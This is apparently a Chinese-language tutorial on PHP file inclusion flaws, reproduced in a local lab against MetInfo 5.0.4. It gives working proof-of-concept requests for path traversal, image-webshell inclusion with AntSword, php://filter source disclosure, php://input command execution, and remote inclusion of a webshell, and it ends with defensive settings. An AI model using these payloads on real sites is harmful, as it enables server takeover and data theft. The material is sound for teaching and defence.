加粗样式
文章目录
- 漏洞原理
- 特点
- 利用方法
- 包含图片木马
- 读取敏感文件
- 封装协议
- 复现环境准备
- 漏洞点
- 代码审计验证漏洞点
- 读取敏感文件
- 文件包含漏洞+文件上传漏洞深度利用
- 中国蚁剑-getshell
- 突破文件上传漏洞限制
- 读取文件源码
- 执行PHP命令
- 远程文件包含
- 文件包含漏洞防御
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
漏洞原理
PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。
特点
无视文件扩展名读取文件内容。
无条件解析PHP 代码,为图片木马提供了出路。
利用方法
包含图片木马
中国蚁剑直接链接。
读取敏感文件
利用文件包含漏洞,也可以读取敏感文件。
前提条件:
目标文件存在(已知目标文件路径);
具有文件可读权限。
具体方法:
# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
封装协议
复现环境准备
可以到http://v.metinfo.cn/下载各个版本的metinfo,
也可以到我的网盘下载5.0.4版本的:https://pan.baidu.com/s/1PZjQNDgLL10E05ryKNchKw?pwd=yuan
漏洞点
经过对这个版本的metinfo进行代码审计,我们可以发现在about目录中的index.php中存在文件包含漏洞
/about/index.php
代码审计验证漏洞点
我们来看到这个index.php,如下图所示,其中定义了fmodule变量与module变量,其中require_once语句表示将某个文件引入当前文件,在这个代码中,通过require_once引入了module.php,并且最后引入了module变量,这就是文件包含的入口,如果我们能控制module的值,就很可能存在文件包含漏洞
about/index.php
经过对index.php的分析,我们就要确认module值如何能被控制,于是我们就要进入module.php分析源码:
include/module.php
如图所示代码,如果我们传的$fmodule
不为7的,就会进入这个if的条件语句,然后对我们的$module
进行初始化赋值,这是我们没办法控制的,因为里面的赋值语句都写好了,一个是存在数组里,一个就是直接返回404.html。所以我们不能让这个程序进入这个条件,因此我们需要控制变量$fmodule
为7,这样程序就不会对$module
进行赋值了。所以我们可以自己手动赋值,从而达到控制$module
变量的值的目的。
读取敏感文件
读取文件的前提条件:
目标文件存在(已知目标文件路径);
具有文件可读权限。
经过以上的代码审计,我们可以写出如下poc进行测试:
/about/index.php?fmodule=7&module=c:/windows/system32/drivers/etc/hosts
可以看到,我们成功获取到了hosts文件,但是这并不能证明是文件包含漏洞,因为这仅仅是把hosts文件读取出来了,最多能确定的是文件读取漏洞,所以我们可以写一个把phpinfo.php放到www的一个目录中,我们尝试访问phpinfo.php,看看能否解析成功,解析成功了就说明是文件包含漏洞。如图,我把phpinfo.php放到了这个目录:
/about/index.php?fmodule=7&module=../../phpinfo.php
然后执行poc,如图所示
成功输出php的信息,所以到此可以确认这里确实是具有文件包含漏洞。
最终,我们还能得出一个结论,具有文件包含漏洞其实代表有文件读取漏洞,但是有文件读取漏洞不能证明有文件包含漏洞。
文件包含漏洞+文件上传漏洞深度利用
经过上面的代码审计,我们可以确定有文件包含漏洞,又因为文件包含的特点:
- 无视文件扩展名读取文件内容
- 无条件解析PHP 代码
于是我们可以结合文件上传漏洞,上传一个图片马,让程序对我们的图片马进行读取,然后当做php解析,从而getshell。
经过我对这个版本的metinfo的功能点查找,在这个地方找到了上传功能:
但是,我尝试多次上传,可能是因为环境的问题,显示上传成功,但是去目录查看,并没有我们上传的文件,肯定在其他地方可以成功上传文件,这里为了让大家看到效果,就直接手动将图片马放入这个metinfo的目录,不演示找文件上传的功能点了。因为我们的目的是:通过文件包含漏洞,让程序对我们的图片马进行解析,最终getshell。
这里我将图片马放到这个目录下:
接下来通过文件包含漏洞,来包含我们的图片马
http://localhost/metinfo504/MetInfo5.0.4/about/index.php?fmodule=7&module=../shell.jpg
从结果可以看到,我们的页面没有显示图片,说明是把图片当做php执行了,所以接下来就通过中国蚁剑尝试getshell
中国蚁剑-getshell
如图,蚁剑连接成功
突破文件上传漏洞限制
文件包含漏洞要想实现深度利用,就需要借助文件上传漏洞,但是如果系统中没有文件上传漏洞呢?或者目标服务器没有暴露我们上传的文件路径呢?我们仅仅可以使用文件包含漏洞,这个时候就需要考虑到php的一些封装协议了,利用封装协议,可以读取PHP文件源码,可以执行PHP命令
读取文件源码
利用php://fileter 读取文件源码
条件
- 与php.ini的allow_url_fopen的开启与否无关
- 与php.ini的allow_url_include的开启与否无关
- 知道文件的路径
- 具有文件包含漏洞
poc
/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php
读取文件源码之后结果的Base64编码,需要进行解码,解码结果如下:
如图可知,我们成功读取到了show.php的源码
执行PHP命令
条件
- 必须开启php.ini的allow_url_fopen
- 必须开启php.ini的allow_url_include
- 具有文件包含漏洞
poc
POST /metinfo504/MetInfo5.0.4/about/index.php?fmodule=7&module=php://input HTTP/1.1
Host: 10.9.75.168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: HFS_SID_=0.912836692063138; PHPSESSID=a71e5r7upv1jm86jc01kvaius2; recordurl=%2Chttp%253A%252F%252F10.9.75.168%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253D..%252Fshell.jpg%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Ffmodule%253D7%2526module%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253Dshow.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php%253Fmodule%253D..%252F..%252Fphpinfo.php%2Chttp%253A%252F%252F10.9.75.168%252F%252Fmetinfo504%252FMetInfo5.0.4%252Fabout%252Findex.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
<?php
system("whoami");
?>
验证结果如下图:
由上面的结果可知,我们利用php://input成功执行了php的命令。
但是前提是php的配置文件中开启了allow_url_fopen和allow_url_include
远程文件包含
由于前面的执行PHP命令的前提是php的配置文件中开启了allow_url_fopen和allow_url_include,既然开启了这两个配置,我们不如直接利用远程文件包含,直接包含我们的一句话木马,然后借助蚁剑getshell。
条件
- 必须开启php.ini的allow_url_fopen
- 必须开启php.ini的allow_url_include
- 具有文件包含漏洞
远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。
allow_url_fopen = On # 通过远程方式打开文件
allow_url_include = On# 通过远程方式包含文件
远程文件是php文件:
远程文件是图片马也行
从上面的实战操作可知,我们成功通过文件包含漏洞的远程文件包含getshell,我们现在来分析一下远程文件包含的优势与缺点:
优势:不需要知道文件的路径,我们只需要包含我们远程服务器的木马文件即可
缺点:需要开启php.ini的allow_url_fopen,allow_url_include配置
文件包含漏洞防御
尽量少的使用动态包含;
严格过滤被包含文件的路径;
将参数allow_url_include 设置为Off;
使用参数open_basedir 限定文件访问范围:
open_basedir = c:\phpstudy_2016\www\